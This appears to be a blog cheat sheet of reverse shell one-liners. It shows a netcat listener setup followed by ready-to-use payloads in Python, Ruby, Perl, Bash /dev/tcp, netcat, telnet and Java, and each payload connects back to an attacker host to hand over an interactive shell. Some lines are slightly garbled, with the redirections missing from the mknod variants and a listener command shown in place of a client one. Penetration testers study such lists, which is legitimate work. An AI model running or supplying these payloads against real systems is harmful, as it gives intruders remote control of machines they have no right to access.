Reverse Shells

Step one - Setup your Listener on attacking machine.

nc -lvp <Port>

#Example

nc -lvp 4444

You can then use netcat to connect to that listener or a different reverse shell from the Target.

nc <attacker_ip> <port>
 
#Example:

nc -l -v 192.168.225.143 4444

Here is a listener setup with NETCAT but the reverse shell is PERL.

NCL1

PYTHON Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

RUBY Reverse Shell

ruby -rsocket -e'f=TCPSocket.open("ATTACKER-IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PERL Reverse Shell

perl -e 'use socket;$i="192.168.0.100";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.100:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PERL - Windows based Systems

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"192.168.0.100:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

BASH

0<&196;exec 196<>/dev/tcp/ATTACKING-IP/4444; sh <&196 >&196 2>&196


exec 5<>/dev/tcp/ATTACKING-IP/4444
cat <&5 | while read line; do $line 2>&5 >&5; done  


bash -i >& /dev/tcp/ATTACKING-IP/4444 0>&1

NETCAT

nc -e /bin/sh ATTACKING-IP 4444


/bin/sh | nc ATTACKING-IP 4444


rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

TELNET

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 4444 0/tmp/p


telnet ATTACKING-IP 4444 | /bin/bash | telnet ATTACKING-IP 443

JAVA

 r = Runtime.getRuntime()
 p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
 p.waitFor()
Share Comments
comments powered by Disqus